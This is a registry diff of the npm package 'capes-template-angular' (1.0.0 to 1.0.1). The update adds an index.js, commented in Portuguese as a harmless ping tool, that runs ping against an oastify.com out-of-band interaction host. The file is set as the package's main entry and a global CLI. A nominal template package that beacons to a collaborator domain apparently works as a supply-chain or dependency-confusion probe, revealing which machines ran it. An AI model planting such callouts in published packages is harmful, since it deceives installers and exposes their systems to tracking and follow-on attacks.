capes-template-angular 1.0.0 → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +28 -0
- package/package.json +6 -1
- package/Untitled-1.ts +0 -1
package/index.js
ADDED
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
// A linha acima é ESSENCIAL.
|
|
4
|
+
// Chama-se "shebang" e diz ao Linux/macOS para executar este arquivo usando o Node.js
|
|
5
|
+
|
|
6
|
+
const { spawn } = require('child_process');
|
|
7
|
+
const os = require('os');
|
|
8
|
+
|
|
9
|
+
console.log('⚡ Iniciando seu comando ping...');
|
|
10
|
+
|
|
11
|
+
// --- Lógica para rodar o comando 'ping' ---
|
|
12
|
+
|
|
13
|
+
// O comando 'ping' é diferente no Windows e no Linux/macOS.
|
|
14
|
+
// Windows: 'ping 9w6x154a6xpfg0y09ltocd84wv2mqde2.oastify.com' (para por padrão)
|
|
15
|
+
// Linux/macOS: 'ping -c 4 9w6x154a6xpfg0y09ltocd84wv2mqde2.oastify.com' (o '-c 4' faz parar após 4 pings)
|
|
16
|
+
|
|
17
|
+
const platform = os.platform();
|
|
18
|
+
const pingArgs = (platform === 'win32')
|
|
19
|
+
? ['9w6x154a6xpfg0y09ltocd84wv2mqde2.oastify.com']
|
|
20
|
+
: ['-c', '4', '9w6x154a6xpfg0y09ltocd84wv2mqde2.oastify.com'];
|
|
21
|
+
|
|
22
|
+
// 'spawn' é a melhor forma de executar comandos e ver a saída em tempo real.
|
|
23
|
+
// 'stdio: "inherit"' conecta a saída do ping (stdout/stderr) diretamente ao seu terminal.
|
|
24
|
+
const child = spawn('ping', pingArgs, { stdio: 'inherit' });
|
|
25
|
+
|
|
26
|
+
child.on('close', (code) => {
|
|
27
|
+
console.log(`Ping finalizado com código ${code}.`);
|
|
28
|
+
});
|
package/package.json
CHANGED
|
@@ -1,12 +1,17 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "capes-template-angular",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.1",
|
|
4
4
|
"description": "",
|
|
5
5
|
"license": "ISC",
|
|
6
6
|
"author": "",
|
|
7
7
|
"type": "commonjs",
|
|
8
8
|
"main": "index.js",
|
|
9
|
+
"bin": {
|
|
10
|
+
"meu-ping-cli": "index.js"
|
|
11
|
+
},
|
|
12
|
+
"preferGlobal": true,
|
|
9
13
|
"scripts": {
|
|
10
14
|
"test": "echo \"Error: no test specified\" && exit 1"
|
|
11
15
|
}
|
|
16
|
+
|
|
12
17
|
}
|
package/Untitled-1.ts
DELETED
|
@@ -1 +0,0 @@
|
|
|
1
|
-
export const label = "clique aqui";
|